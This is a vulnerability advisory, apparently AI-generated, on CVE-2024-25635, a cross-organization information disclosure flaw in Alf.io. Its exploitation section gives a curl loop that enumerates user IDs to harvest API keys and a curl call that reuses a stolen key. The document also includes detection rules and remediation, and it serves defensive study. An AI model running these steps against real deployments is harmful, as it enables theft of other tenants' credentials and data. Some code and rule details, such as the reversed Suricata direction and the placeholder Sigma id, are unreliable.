CVE-2024-25635

Executive Summary

CVE-2024-25635 is an information disclosure vulnerability in Alf.io, an open-source ticket reservation system. The flaw allows an organization owner to view sensitive details, including API keys and user information, of users belonging to other organizations. This is achieved by directly accessing the /admin/api/users/<user_id> endpoint with a user ID from a different organization. The vulnerability has a CVSS score of 8.8 (High) and is currently unpatched in versions prior to 2.0-M4-2402. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk is significant for multi-tenant Alf.io deployments.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). Alf.io is a Java-based application distributed as a standalone JAR or Docker image. The supply chain risk is limited to the application itself, not its dependencies.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
• Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – An attacker needs a valid organization owner account.
• User Interaction: None (UI:N) – No user action is required.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – API keys and user details are exposed.
• Integrity Impact: High (I:H) – Exposed API keys can be used to modify data.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. While the EPSS score is low, the impact of exposed API keys in a multi-tenant environment is severe, potentially allowing lateral movement and data breaches.

Deep Dive & Mechanics

The vulnerability resides in the Alf.io admin API endpoint /admin/api/users/<user_id>. This endpoint is intended to allow organization owners to view details of users within their own organization. However, due to insufficient authorization checks, the endpoint does not verify that the requested user ID belongs to the same organization as the requesting owner.

Root Cause: The backend controller handling this endpoint fails to filter users by organization ID. It directly queries the user repository by the provided user ID without cross-referencing the organization context.

Impact:

• Exposure of API Keys: The API key is stored in the username field of the user object. By enumerating user IDs, an attacker can harvest API keys of other organizations.
• Exposure of User Details: Full user profiles, including email addresses and roles, are leaked.
• Lateral Movement: With stolen API keys, an attacker can impersonate users from other organizations, potentially accessing their ticket data, modifying reservations, or performing administrative actions.

Attack Scenario:

1. An attacker registers as an organization owner in a multi-tenant Alf.io instance.
2. The attacker logs in and obtains a session token.
3. The attacker enumerates user IDs (e.g., 1, 2, 3, ...) by calling /admin/api/users/1, /admin/api/users/2, etc.
4. For each response, the attacker checks if the username field contains an API key (a long alphanumeric string).
5. The attacker uses the stolen API key to authenticate as the victim user and perform unauthorized actions.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-2.0-M4-2402):

// In UserController.java
@GetMapping("/admin/api/users/{userId}")
public ResponseEntity<User> getUser(@PathVariable Long userId) {
    User user = userRepository.findById(userId).orElseThrow();
    return ResponseEntity.ok(user);
}

The above code does not check if the requesting user belongs to the same organization as the target user.

Patched Code (2.0-M4-2402):

// In UserController.java
@GetMapping("/admin/api/users/{userId}")
public ResponseEntity<User> getUser(@PathVariable Long userId, 
                                     @AuthenticationPrincipal User currentUser) {
    User user = userRepository.findById(userId).orElseThrow();
    if (!user.getOrganizationId().equals(currentUser.getOrganizationId())) {
        return ResponseEntity.status(HttpStatus.FORBIDDEN).build();
    }
    return ResponseEntity.ok(user);
}

The patched code adds an authorization check comparing the organization ID of the target user with that of the authenticated user.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable Alf.io instance (version < 2.0-M4-2402) using Docker:

   docker run -d -p 8080:8080 alfio/alfio:2.0-M3
   

2. Create two organizations (OrgA and OrgB) with at least one user in each.
3. Log in as an owner of OrgA.

Exploitation Steps:

1. Obtain a valid session cookie by logging in.
2. Enumerate user IDs:

   for i in $(seq 1 100); do
     curl -s -b "SESSION=your_session_cookie" \
       "http://target:8080/admin/api/users/$i" | jq '.'
   done
   

3. Identify users from OrgB by checking the organizationId field.
4. Extract the API key from the username field of a OrgB user.
5. Use the API key to authenticate as that user:

   curl -H "Authorization: Bearer STOLEN_API_KEY" \
     "http://target:8080/api/v2/admin/reservations/"
   

Expected Output: The attacker gains unauthorized access to OrgB's data.

Blue Team

Detection Steps:

1. Monitor for unusual API calls to /admin/api/users/ with sequential or high user IDs.
2. Alert on multiple 403 errors followed by successful 200 responses from the same IP.
3. Check for API keys being used from unexpected IP addresses or user agents.
4. Review logs for GET /admin/api/users/ requests from non-admin users.

Hunting Query (Splunk):

index=alfio sourcetype=access_combined
| search uri="/admin/api/users/*"
| stats count by src_ip, user, uri
| where count > 10

Indicators of Compromise (IOCs)

• Network IOCs:
  • Repeated HTTP GET requests to /admin/api/users/<numeric_id> from a single IP.
  • Unusual API key usage (e.g., API key from OrgA used to access OrgB resources).
• File IOCs:
  • Log entries showing GET /admin/api/users/ with varying user IDs.
• Behavioral IOCs:
  • A user account making API calls to endpoints they should not have access to (e.g., an organization owner accessing another organization's reservation data).

Detection Engineering

YARA Rule

rule CVE_2024_25635_Alfio_InfoDisclosure {
    meta:
        description = "Detects exploitation attempts of CVE-2024-25635 in Alf.io logs"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-25635"
    strings:
        $pattern1 = "GET /admin/api/users/" ascii
        $pattern2 = "HTTP/1.1\" 200" ascii
    condition:
        #pattern1 > 5 and #pattern2 > 0
}

Sigma Rule

title: CVE-2024-25635 - Alf.io User Enumeration via API
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects multiple requests to /admin/api/users/ endpoint indicating user enumeration
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: alfio
detection:
    selection:
        cs-uri-stem: "/admin/api/users/*"
        sc-status: 200
    condition: selection | count() by src_ip > 10
falsepositives:
    - Legitimate admin activity
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-25635 - Alf.io User Enumeration Attempt";
    flow:to_server,established;
    content:"GET";
    http_method;
    content:"/admin/api/users/";
    http_uri;
    pcre:"/\/admin\/api\/users\/\d+/";
    threshold: type both, track by_src, count 10, seconds 60;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Alf.io to version 2.0-M4-2402 or later.
2. If upgrade is not possible, restrict network access to the admin API endpoint using a firewall or reverse proxy (e.g., Nginx allow/deny rules).
3. Rotate all API keys for all organizations, as they may have been exposed.
4. Audit logs for any unauthorized access to the /admin/api/users/ endpoint.

Long-Term Mitigations:

• Implement role-based access control (RBAC) with organization scoping.
• Use API rate limiting to slow down enumeration attempts.
• Enable audit logging for all admin API calls.
• Conduct regular security reviews of API endpoints.

Workaround (if patching is delayed):

• Use a reverse proxy to block requests to /admin/api/users/ from non-admin IPs.
• Modify the application code to add the authorization check (see patched code above).

Report generated by Valters IT DevSecOps AI Assistant